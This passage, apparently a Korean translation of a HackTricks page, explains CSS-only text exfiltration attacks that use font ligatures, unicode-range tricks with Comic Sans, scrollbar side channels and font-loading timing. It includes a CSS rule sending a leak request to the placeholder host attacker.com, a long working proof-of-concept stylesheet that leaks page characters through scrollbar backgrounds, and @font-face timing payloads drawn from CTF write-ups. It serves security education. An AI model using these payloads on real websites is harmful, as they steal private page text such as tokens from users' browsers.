์œ„์— ์„ค๋ช…๋œ ๊ธฐ๋ฒ•์€ font ligatures๋ฅผ ์•…์šฉํ•ด ๋…ธ๋“œ์—์„œ ํ…์ŠคํŠธ๋ฅผ ์ถ”์ถœํ•˜๊ณ  ๋„ˆ๋น„ ๋ณ€ํ™”๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๊ณผ์ •์€ ์—ฌ๋Ÿฌ ๋‹จ๊ณ„๋กœ ๊ตฌ์„ฑ๋ฉ๋‹ˆ๋‹ค:

  1. Creation of Custom Fonts:
  • SVG fonts๋Š” ๋‘ ๋ฌธ์ž ์‹œํ€€์Šค๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ๊ธ€๋ฆฌํ”„์— ํฐ ๋„ˆ๋น„๋ฅผ ์„ค์ •ํ•˜๋Š” horiz-adv-x ์†์„ฑ์ด ์žˆ๋Š” glyph๋กœ ์ œ์ž‘๋ฉ๋‹ˆ๋‹ค.
  • ์˜ˆ์ œ SVG glyph: , ์—ฌ๊ธฐ์„œ โ€œXYโ€œ๋Š” ๋‘ ๋ฌธ์ž ์‹œํ€€์Šค๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด ํฐํŠธ๋“ค์€ fontforge๋ฅผ ์‚ฌ์šฉํ•ด woff ํฌ๋งท์œผ๋กœ ๋ณ€ํ™˜๋ฉ๋‹ˆ๋‹ค.
  1. Detection of Width Changes:
  • ํ…์ŠคํŠธ๊ฐ€ ์ค„๋ฐ”๊ฟˆ๋˜์ง€ ์•Š๋„๋ก CSS(white-space: nowrap)๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์Šคํฌ๋กค๋ฐ” ์Šคํƒ€์ผ์„ ์ปค์Šคํ„ฐ๋งˆ์ด์ฆˆํ•ฉ๋‹ˆ๋‹ค.
  • ์ˆ˜ํ‰ ์Šคํฌ๋กค๋ฐ”๊ฐ€ ํŠน์ • ์Šคํƒ€์ผ๋กœ ๋‚˜ํƒ€๋‚˜๋Š” ๊ฒƒ์€ ํŠน์ • ligature(๋”ฐ๋ผ์„œ ํŠน์ • ๋ฌธ์ž ์‹œํ€€์Šค)๊ฐ€ ํ…์ŠคํŠธ์— ์กด์žฌํ•จ์„ ์•Œ๋ ค์ฃผ๋Š” ์ง€ํ‘œ(oracle)๋กœ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ด€๋ จ๋œ CSS: css body { white-space: nowrap; } body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Exploit Process:
  • Step 1: ๋‘ ๋ฌธ์ž ์Œ์— ๋Œ€ํ•ด ํฐ ๋„ˆ๋น„๋ฅผ ๊ฐ€์ง€๋Š” ํฐํŠธ๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • Step 2: ํฐ ๋„ˆ๋น„ ๊ธ€๋ฆฌํ”„(๋ฌธ์ž ์Œ์šฉ ligature)๊ฐ€ ๋ Œ๋”๋ง๋  ๋•Œ๋ฅผ ๊ฐ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์Šคํฌ๋กค๋ฐ” ๊ธฐ๋ฐ˜ ํŠธ๋ฆญ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ํ•ด๋‹น ๋ฌธ์ž ์‹œํ€€์Šค์˜ ์กด์žฌ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
  • Step 3: ligature๊ฐ€ ๊ฐ์ง€๋˜๋ฉด, ๊ฐ์ง€๋œ ์Œ์„ ํฌํ•จํ•˜๊ณ  ์•ž์ด๋‚˜ ๋’ค์— ๋ฌธ์ž๋ฅผ ์ถ”๊ฐ€ํ•œ ์„ธ ๋ฌธ์ž ์‹œํ€€์Šค๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ์ƒˆ๋กœ์šด ๊ธ€๋ฆฌํ”„๋“ค์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค.
  • Step 4: ์„ธ ๋ฌธ์ž ligature์˜ ๊ฐ์ง€๋ฅผ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค.
  • Step 5: ์ด ๊ณผ์ •์„ ๋ฐ˜๋ณตํ•˜์—ฌ ์ ์ง„์ ์œผ๋กœ ์ „์ฒด ํ…์ŠคํŠธ๋ฅผ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค.
  1. Optimization:
  • ํ˜„์žฌ <meta refresh=โ€ฆ ๋ฅผ ์‚ฌ์šฉํ•œ ์ดˆ๊ธฐํ™” ๋ฐฉ๋ฒ•์€ ์ตœ์ ์ด ์•„๋‹™๋‹ˆ๋‹ค.
  • ๋ณด๋‹ค ํšจ์œจ์ ์ธ ์ ‘๊ทผ ๋ฐฉ์‹์€ CSS @import trick์„ ์ด์šฉํ•˜๋Š” ๊ฒƒ์œผ๋กœ, exploit์˜ ์„ฑ๋Šฅ์„ ํ–ฅ์ƒ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Text node exfiltration (II): leaking the charset with a default font (not requiring external assets)

์ฐธ๊ณ : PoC using Comic Sans by @Cgvwzq & @Terjanq

์ด ํŠธ๋ฆญ์€ ์ด Slackers thread์—์„œ ๊ณต๊ฐœ๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ํ…์ŠคํŠธ ๋…ธ๋“œ์—์„œ ์‚ฌ์šฉ๋˜๋Š” charset์€ ๋ธŒ๋ผ์šฐ์ €์— ์„ค์น˜๋œ ๊ธฐ๋ณธ ํฐํŠธ๋ฅผ ์‚ฌ์šฉํ•ด leak๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ์™ธ๋ถ€ ํฐํŠธ๋‚˜ ์ปค์Šคํ…€ ํฐํŠธ๊ฐ€ ํ•„์š”ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์ด ๊ฐœ๋…์€ ์• ๋‹ˆ๋ฉ”์ด์…˜์„ ์‚ฌ์šฉํ•ด์„œ div์˜ ๋„ˆ๋น„๋ฅผ ์ ์ง„์ ์œผ๋กœ ํ™•์žฅ์‹œํ‚ค๊ณ , ํ•œ ๋ฒˆ์— ํ•˜๋‚˜์˜ ๋ฌธ์ž๊ฐ€ ํ…์ŠคํŠธ์˜ โ€˜suffixโ€™ ๋ถ€๋ถ„์—์„œ โ€˜prefixโ€™ ๋ถ€๋ถ„์œผ๋กœ ์ด๋™ํ•˜๋„๋ก ํ•˜๋Š” ๋ฐฉ์‹์— ๊ธฐ๋ฐ˜ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ณผ์ •์€ ํ…์ŠคํŠธ๋ฅผ ํšจ๊ณผ์ ์œผ๋กœ ๋‘ ๋ถ€๋ถ„์œผ๋กœ ๋ถ„ํ• ํ•ฉ๋‹ˆ๋‹ค:

  1. Prefix: ์ดˆ๊ธฐ ๋ผ์ธ.
  2. Suffix: ์ดํ›„ ๋ผ์ธ๋“ค.

๋ฌธ์ž๋“ค์˜ ์ „ํ™˜ ๋‹จ๊ณ„๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ๋ณด์ผ ๊ฒƒ์ž…๋‹ˆ๋‹ค:

C
ADB

CA
DB

CAD
B

CADB

์ด ์ „ํ™˜ ๋™์•ˆ์—๋Š” unicode-range trick์„ ์‚ฌ์šฉํ•ด ๊ฐ ์ƒˆ ๋ฌธ์ž๊ฐ€ prefix์— ํ•ฉ๋ฅ˜ํ•  ๋•Œ ์ด๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๊ธ€๊ผด์„ Comic Sans๋กœ ๋ณ€๊ฒฝํ•จ์œผ๋กœ์จ ๋‹ฌ์„ฑ๋˜๋Š”๋ฐ, Comic Sans๋Š” ๊ธฐ๋ณธ ํฐํŠธ๋ณด๋‹ค ๋†’์ด๊ฐ€ ์ปค์„œ ์„ธ๋กœ ์Šคํฌ๋กค๋ฐ”๋ฅผ ์œ ๋ฐœํ•ฉ๋‹ˆ๋‹ค. ์ด ์Šคํฌ๋กค๋ฐ”์˜ ๋“ฑ์žฅ์œผ๋กœ prefix์— ์ƒˆ ๋ฌธ์ž๊ฐ€ ์žˆ์Œ์„ ๊ฐ„์ ‘์ ์œผ๋กœ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋น„๋ก ์ด ๋ฐฉ๋ฒ•์œผ๋กœ ๊ณ ์œ ํ•œ ๋ฌธ์ž๊ฐ€ ๋‚˜ํƒ€๋‚  ๋•Œ ์ด๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์ง€๋งŒ, ์–ด๋–ค ๋ฌธ์ž๊ฐ€ ๋ฐ˜๋ณต๋˜๋Š”์ง€๊นŒ์ง€๋Š” ํŠน์ •ํ•˜์ง€ ๋ชปํ•˜๊ณ  ๋‹จ์ง€ ๋ฐ˜๋ณต์ด ๋ฐœ์ƒํ–ˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Tip

๊ธฐ๋ณธ์ ์œผ๋กœ, unicode-range is used to detect a charํ•˜์ง€๋งŒ ์™ธ๋ถ€ ํฐํŠธ๋ฅผ ๋กœ๋“œํ•˜๊ณ  ์‹ถ์ง€ ์•Š์œผ๋ฏ€๋กœ ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์„ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.
๋ฌธ์ž๊ฐ€ ๋ฐœ๊ฒฌ๋˜๋ฉด, ์‚ฌ์ „ ์„ค์น˜๋œ Comic Sans font๊ฐ€ ํ• ๋‹น๋˜์–ด, ๋ฌธ์ž๋ฅผ ๋” ํฌ๊ฒŒ ๋งŒ๋“ค๊ณ  ์Šคํฌ๋กค๋ฐ”๋ฅผ ์œ ๋ฐœํ•˜์—ฌ ์ฐพ์€ ๋ฌธ์ž๋ฅผ leakํ•ฉ๋‹ˆ๋‹ค.

Check the code extracted from the PoC:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): leaking the charset โ€” ๊ธฐ๋ณธ ํฐํŠธ๋ฅผ ์‚ฌ์šฉํ•ด ์š”์†Œ๋ฅผ ์ˆจ๊น€์œผ๋กœ์จ (์™ธ๋ถ€ ์ž์‚ฐ ๋ถˆํ•„์š”)

์ฐธ๊ณ : ์ด ๋‚ด์šฉ์€ an unsuccessful solution in this writeup์—์„œ ์–ธ๊ธ‰๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ฒฝ์šฐ๋Š” ์ด์ „ ๊ฒƒ๊ณผ ๋งค์šฐ ์œ ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์—ฌ๊ธฐ์„œ๋Š” ํŠน์ • ๋ฌธ์ž๋ฅผ ๋‹ค๋ฅธ ๊ฒƒ๋ณด๋‹ค ํฌ๊ฒŒ ๋งŒ๋“ค์–ด ๋ฌด์–ธ๊ฐ€๋ฅผ ์ˆจ๊ธฐ๋Š” ๊ฒƒ์ด ๋ชฉํ‘œ์ž…๋‹ˆ๋‹ค โ€” ์˜ˆ๋ฅผ ๋“ค์–ด ๋ด‡์ด ๋ˆ„๋ฅด์ง€ ์•Š๋„๋ก ํ•˜๋Š” ๋ฒ„ํŠผ์ด๋‚˜ ๋กœ๋“œ๋˜์ง€ ์•Š์„ ์ด๋ฏธ์ง€์ฒ˜๋Ÿผ์š”. ๊ทธ๋ž˜์„œ ์šฐ๋ฆฌ๋Š” ๊ทธ ํ–‰๋™(๋˜๋Š” ํ–‰๋™์˜ ๋ถ€์žฌ)์„ ์ธก์ •ํ•˜์—ฌ ํ…์ŠคํŠธ ์•ˆ์— ํŠน์ • ๋ฌธ์ž๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets)

์ฐธ๊ณ : ์ด ๋‚ด์šฉ์€ an unsuccessful solution in this writeup์—์„œ ์–ธ๊ธ‰๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ฒฝ์šฐ์—๋Š” ๊ฐ™์€ ์ถœ์ฒ˜์—์„œ fake font๋ฅผ ๋กœ๋“œํ•˜์—ฌ ํ…์ŠคํŠธ์— ํŠน์ • ๋ฌธ์ž๊ฐ€ ์žˆ๋Š”์ง€๋ฅผ leak ํ•ด๋ณด๋Š” ๋ฐฉ๋ฒ•์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

์ผ์น˜ํ•˜๋Š” ํ•ญ๋ชฉ์ด ์žˆ๋‹ค๋ฉด, font will be loaded from /static/bootstrap.min.css?q=1. ๋น„๋ก ์„ฑ๊ณต์ ์œผ๋กœ ๋กœ๋“œ๋˜์ง€๋Š” ์•Š๊ฒ ์ง€๋งŒ, ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์บ์‹œํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค, ๊ทธ๋ฆฌ๊ณ  ์บ์‹œ๊ฐ€ ์—†๋”๋ผ๋„ 304 not modified ๋ฉ”์ปค๋‹ˆ์ฆ˜์ด ์žˆ์œผ๋ฏ€๋กœ, ์‘๋‹ต์ด ๋‹ค๋ฅธ ๊ฒƒ๋“ค๋ณด๋‹ค ๋นจ๋ผ์•ผ ํ•ฉ๋‹ˆ๋‹ค.

ํ•˜์ง€๋งŒ ์บ์‹œ๋œ ์‘๋‹ต๊ณผ ๋น„์บ์‹œ ์‘๋‹ต์˜ ์‹œ๊ฐ„ ์ฐจ์ด๊ฐ€ ์ถฉ๋ถ„ํžˆ ํฌ์ง€ ์•Š๋‹ค๋ฉด, ์ด๊ฒƒ์€ ์œ ์šฉํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, ์ €์ž๋Š” ์–ธ๊ธ‰ํ•ฉ๋‹ˆ๋‹ค: However, after testing, I found that the first problem is that the speed is not much different, and the second problem is that the bot uses the disk-cache-size=1 flag, which is really thoughtful.

Text node exfiltration (III): leaking the charset by timing loading hundreds of local โ€œfontsโ€ (not requiring external assets)

์ฐธ๊ณ : This is mentioned as an unsuccessful solution in this writeup

์ด ๊ฒฝ์šฐ ์ผ์น˜๊ฐ€ ๋ฐœ์ƒํ•  ๋•Œ ๋™์ผ ์ถœ์ฒ˜์—์„œ ์ˆ˜๋ฐฑ ๊ฐœ์˜ ๊ฐ€์งœ โ€œfontsโ€œ๋ฅผ ๋กœ๋“œํ•˜๋„๋ก CSS๋ฅผ ์ง€์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์„ ์ธก์ •ํ•˜์—ฌ ํ•ด๋‹น ๋ฌธ์ž๊ฐ€ ๋‚˜ํƒ€๋‚˜๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฐฉ์‹์œผ๋กœ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

๊ทธ๋ฆฌ๊ณ  ๋ด‡์˜ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

๋”ฐ๋ผ์„œ ํฐํŠธ๊ฐ€ ์ผ์น˜ํ•˜์ง€ ์•Š์œผ๋ฉด ๋ด‡์— ์ ‘์†ํ–ˆ์„ ๋•Œ ์‘๋‹ต ์‹œ๊ฐ„์€ ๋Œ€๋žต 30์ดˆ ์ •๋„๋กœ ์˜ˆ์ƒ๋ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋ฉด ํฐํŠธ๊ฐ€ ์ผ์น˜ํ•˜๋ฉด ํฐํŠธ๋ฅผ ๊ฐ€์ ธ์˜ค๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ์š”์ฒญ์ด ์ „์†ก๋˜์–ด ๋„คํŠธ์›Œํฌ์— ์ง€์†์ ์ธ ํ™œ๋™์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ๊ฒฐ๊ณผ stop condition์„ ๋งŒ์กฑํ•˜๊ณ  ์‘๋‹ต์„ ๋ฐ›๊ธฐ๊นŒ์ง€ ๋” ์˜ค๋ž˜ ๊ฑธ๋ฆฌ๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์‘๋‹ต ์‹œ๊ฐ„์€ ํฐํŠธ ์ผ์น˜ ์—ฌ๋ถ€๋ฅผ ํŒ๋‹จํ•˜๋Š” ์ง€ํ‘œ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ